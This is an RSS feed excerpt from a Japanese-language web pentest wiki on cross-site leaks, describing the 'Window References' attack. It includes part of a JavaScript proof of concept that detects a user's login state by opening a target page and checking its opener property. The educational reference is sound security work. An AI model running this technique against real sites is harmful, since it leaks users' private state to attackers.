<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Window References on XS-Leaks Wiki</title><link>https://webapppentestguidelines.github.io/xs-leaks/abuse/window-references/</link><description>Recent content in Window References on XS-Leaks Wiki</description><generator>Hugo -- gohugo.io</generator><language>ja-jp</language><lastBuildDate>Thu, 08 Oct 2020 00:00:00 +0000</lastBuildDate><atom:link href="https://webapppentestguidelines.github.io/xs-leaks/abuse/window-references/index.xml" rel="self" type="application/rss+xml"/><item><title>Window References</title><link>https://webapppentestguidelines.github.io/xs-leaks/docs/attacks/window-references/</link><pubDate>Thu, 08 Oct 2020 00:00:00 +0000</pubDate><guid>https://webapppentestguidelines.github.io/xs-leaks/docs/attacks/window-references/</guid><description>もしページが opener プロパティを null に設定したり、ユーザーの状態に応じて COOP による保護を使用している場合、その状態に関するクロスサイト情報を推測することができます。 例えば、攻撃者は認証されたユーザーのみがアクセスできる iframe (または新しいウィンドウ) でエンドポイントを開き、そのウィンドウの参照をチェックするだけで、ユーザーがログインしているかどうかを検出することができます。
コード # 以下のコードは、open プロパティが null に設定されているかどうか、あるいは COOP ヘッダーが unsafe-none 以外の値で存在するかどうかを検出する方法を示しています。 これは、iframeと新しいウィンドウの両方で行うことができます。
// 脆弱な攻撃対象URL const v_url = &amp;#39;https://example.org/profile&amp;#39;; const exploit = (url, new_window) =&amp;gt; { let win; if(new_window){ // 新しいタブを開き、win.opener が COOP の影響を受けたか、あるいは null に設定されたかどうかを確認 win = open(url); }else{ // opener が定義されているかどうかを検出するために iframe を作成 // COOP の検出や、ページがフレーム保護を実装している場合は機能しない document.body.insertAdjacentHTML(&amp;#39;beforeend&amp;#39;, &amp;#39;&amp;lt;iframe name=&amp;#34;xsleaks&amp;#34;&amp;gt;&amp;#39;); // iframeを脆弱な攻撃対象URLにリダイレクトする win = open(url, &amp;#34;xsleaks&amp;#34;); } // ページのロードを2秒待つ setTimeout(() =&amp;gt; { // 新しく開いたウィンドウのオープナープロパティを確認する if(!</description></item></channel></rss>